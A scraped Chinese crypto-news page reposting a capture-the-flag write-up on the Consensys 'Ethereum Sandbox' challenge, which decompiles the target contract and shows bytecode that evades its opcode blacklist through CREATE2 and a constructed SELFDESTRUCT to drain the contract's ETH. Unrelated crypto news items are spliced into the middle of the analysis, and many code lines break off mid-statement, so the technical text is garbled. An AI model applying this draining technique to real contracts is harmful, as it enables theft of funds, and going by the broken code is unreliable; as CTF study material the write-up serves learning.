以太幣交易所 以太幣交易所
Ctrl+D 以太幣交易所
ads
首頁 > 火必APP > Info

Consensys CTF - " 以太坊沙盒 "_CON

Author:

Time:1900/1/1 0:00:00

基于samczsun的解析文章學習

分析原文:

本文都是基于https://samczsun

elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}

再看到其的全局變量,一共有兩個,分別在slot0和slot1的位置處。可以看到這兩個全局變量都是uint256數組。

uint256array_0;//STORAGEuint256_owners;//STORAGE

依次分析函數,找到我們感興趣的部分,然后再深入調查該函數,看是否能夠達到我們的目標——拿到該合約的所有ETH。

Celsius向FalconX轉入5940萬美元的山寨幣:金色財經報道,加密貨幣貸款機構Celsius Network向機構加密貨幣交易所 FalconX 存入了總計 5940 萬美元的山寨幣,包括1360萬美元的MATIC、1070萬美元LINK和730萬美元的AAVE 。美國破產法院此前已批準這家加密貨幣貸款機構從7月份開始出售其持有的山寨幣,因此此舉可能為了換取比特幣和以太坊。

金色財經此前報道,Celsius Network在周一早些時候轉移了850萬美元的LINK、780萬美元的SNX和300萬美元的BNB代幣,還轉移了價值超過100萬美元的ZRX、1INCH和黃金穩定幣 XAUT。[2023/7/18 11:00:23]

首先是函數1:0x4214352d

function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg

Web3協作平臺Dmail與Conflux集成,為Conflux用戶提供加密通信服務:金色財經報道,Web3協作平臺Dmail宣布集成Conflux Network,支持Conflux用戶登錄Dmail并收發Web3加密郵件。據悉,Dmail已與眾多DID項目合作,支持ENS、Lens、BAB、Unstoppable、SPACEID、.bit、JAZDID、HashKey DID持有者免費鑄造Dmail域名郵箱,享受加密通信服務,目前已有90000個獨立地址持有11.7萬個Dmail的Social Credential。[2023/3/6 12:44:23]

//翻譯一下functionset_array(uint256_value,uint256_key)public{require(msg

可以看到該函數主要是對array_0進行賦值,在賦值前檢查了兩項:

msg

ConsenSysCodefi推出Filecoin市場應用程序以及基于Ren的以太坊橋接功能:由ConsenSys推出的、支持機構級以太坊2.0Staking質押服務的平臺Consen SysCodefi宣布將于本月通過市場應用程序Filecoin Storage以及以太坊橋接服務FilecoinDeFi Bridge幫助去中心化存儲項目Filecoin啟動主網。根據公告顯示,ConsenSysCodefi增加對Filecoin的支持,并通過旗下專注于提供DeFi相關的代幣化合規產品的Activate平臺幫助Filecoin啟動網絡。Filecoin主網將于區塊148,888高度啟動,預計將在10月15日左右啟動。ConsenSys Codefi Activate將提供Filecoin Storage以及FilecoinDeFi Bridge兩種產品,旨在為Filecoin主網的早期市場動態帶來必要的可用性。Filecoin Storage為Filecoin礦工市場,將幫助礦工提供買賣的最佳價格。FilecoinDeFi Bridge將幫助橋接Filecoin代幣FIL轉化為基于以太坊網絡的ERC20FIL代幣,同時該橋接服務將去中心化跨鏈解決方案RenProtocol提供支持。[2020/10/2]

=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg

ConsenSys收購區塊鏈公司Fluidity:金色財經報道,ConsenSys周五宣布收購區塊鏈公司Fluidity的團隊和技術。收購完成后,Fluidity的團隊和產品將歸ConsenSys所有。兩家公司均未公開交易的條款和財務細節。據悉,Fluidity已經是ConsenSys的合資伙伴,并以開發AirSwap而聞名。公告還詳細說明了AirSwap背后的工程師將繼續致力于該產品,并且還可利用Consensys的Codefi。[2020/5/23]

與set_array函數類似

再看函數3:owners

functionowners(uint256varg0)publicnonPayable{require(msg

=>functionowners(uint256_key)publicviewreturns(address){require(msg

印度安得拉邦政府與ConsenSys簽署諒解備忘錄:隨著對區塊鏈技術興趣的增加,印度安得拉邦政府已與區塊鏈技術公司ConsenSys簽署諒解備忘錄。據悉,該公司是由以太坊的聯合創始人約瑟夫魯賓創立的美國公司。此次合作將在該州的區塊鏈方面領域培養創新體系,將幫助安得拉邦的新興技術公司從區塊鏈初創公司ConsenSys獲得專業知識和咨詢。該聲明指出,他們的合作領域將包括土地所有權,供應鏈,身份平臺,電子健康記錄等等。[2018/3/8]

最后看函數4:0x2918435f

function0x2918435f(addressvarg0)publicpayable{require(msg

v2=1;}require(v0);MEM=MEM(varg0

assert(v5<varg0

v7,v8=varg0

require(v7);}

可以看到函數40x2918435f比較復雜,簡單分析函數4中有三層require:

要求調用該函數的msg

v2=1;}require(v0);=>翻譯一下:boolpermit=false;uint256i=0;while(i<_owners

i=1;}require(permit);

3.要求作為傳入參數的地址addr,逐字節檢查該參數地址對應的代碼,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節。在黃皮書中這幾個字節對應的分別是:create,call,callcode,delegatecall,staticcall,selfdestruct.這部分對應的代碼比較復雜,我們將對比opcode,逐字翻譯```MEM=MEM(varg0

assert(v5<varg0

}

問題分析-2

現在我們需要滿足第三個條件,即構造一個合約,該合約對應的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節,因此需要我們手動來寫合約,然后通過該sandbox的第四個函數來delegatecall該合約,從而清空sandbox中的ETH。

首先明確我們使用create2,其為0xf5,我們可以首先看下黃皮書中關于create2的定義

簡單來說是先計算出要創建的合約的地址,然后執行要創建的合約的初始化代碼,再將該初始化代碼與要創建的合約地址進行關聯。

故我們需要一個合約,他的runtimecode中執行一個create2函數,創建一個臨時合約,并將上下文環境中的address(this)里的全部ETH都作為贈品贈與該臨時合約,該臨時合約的初始化代碼中應該執行selfdestruct(tx.orgin)函數來將所有的ETH轉移給合約部署人。

先用opcode來寫runtimecode:

//tx.origin這里的ORIGIN是payload,不應該被執行,故需要改為push10x32//SELFDESTRUCT//構造payload,因為SELFDESTRUCT是0xff,不能被使用,故可以通過ADD來繞道實現push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//構造payload0x40->0x32ff,push100//Us->salt鹽push10x04//Us->length長度4push10x3e//us->offset偏移值->內存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH數量->應該是該address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5

在寫該合約的初始化代碼,可以用solidity寫了,因為是我自己執行來部署該runtimecode

contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}

然后部署HackCTF合約,在調用ctf中的第四個函數,將該合約的地址作為參數傳進去即可

hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())

免責聲明:作為區塊鏈信息平臺,本站所發布文章僅代表作者個人觀點,與鏈聞ChainNews立場無關。文章內的信息、意見等均僅供參考,并非作為或被視為實際投資建議。

本文來源于非小號媒體平臺:

登鏈社區

現已在非小號資訊平臺發布105篇作品,

非小號開放平臺歡迎幣圈作者入駐

入駐指南:

/apply_guide/

本文網址:

/news/10087897.html

免責聲明:

1.資訊內容不構成投資建議,投資者應獨立決策并自行承擔風險

2.本文版權歸屬原作所有,僅代表作者本人觀點,不代表非小號的觀點或立場

上一篇:

SendingLabs完成1250萬美元種子輪融資,以構建「Web3通信堆棧」

Tags:CONECOLECFILConstantEUROe StablecoinUnicly Feevocious Collectionfil幣交易費是多少

火必APP
Gate.io直播:每日實盤策略,幣圈熱點解析,新技術科普,短線殺手,學會狠.準.穩等節目即將開播_GATE

Gate.io直播間作為行業內首個交易所內置直播功能,通過多樣性的直播形式為平臺用戶帶來具有深度、有趣、開放的信息內容.

1900/1/1 0:00:00
ZD關于對UNI5L等12個ETF產品進行份額合并的公告_USD

尊敬的客戶: 由于當前部分ETF產品的單價均低于0.01USDT,為提高其價格變化的靈敏度,優化交易體驗,平臺將在2021年6月22日20:00-23:00期間.

1900/1/1 0:00:00
每日行情解讀 | “投機炒作”退潮,BTC面臨重大考驗_BTC

美聯儲在六月議息會議上釋放加息預期,多個國家央行已開始加息,美國10年期國債收益率跌破1.40%,美元走強,宏觀流動性有收緊趨勢,這將對比特幣形成趨勢性利空.

1900/1/1 0:00:00
一個時代將落幕?比特幣礦場集體斷電!_比特幣

幣圈迎來了歷史性的一刻。6月18日,一份《四川省發展和改革委員會、四川省能源局關于清理關停虛擬貨幣“挖礦”項目的通知》文件在網上流出,通知要求各市于6月20日前完成省內26個疑似虛擬貨幣挖礦重點.

1900/1/1 0:00:00
Swarm的挖礦邏輯_SWAP

Swarm網絡存在一個記賬的概念。當有數據進入到Swarm網絡,Swarm將會把每個文件切割成4K大小的文件碎片,然后分散存儲在不同的節點中.

1900/1/1 0:00:00
大幣網(Dcoin)關于永續合約系統功能升級公告_GoC

?親愛的大幣網(Dcoin)用戶:????為了提升服務質量,進一步優化交易體驗,大幣網將于2021年6月20日08:00進行永續合約功能系統全面升級,預計時長為2小時.

1900/1/1 0:00:00
ads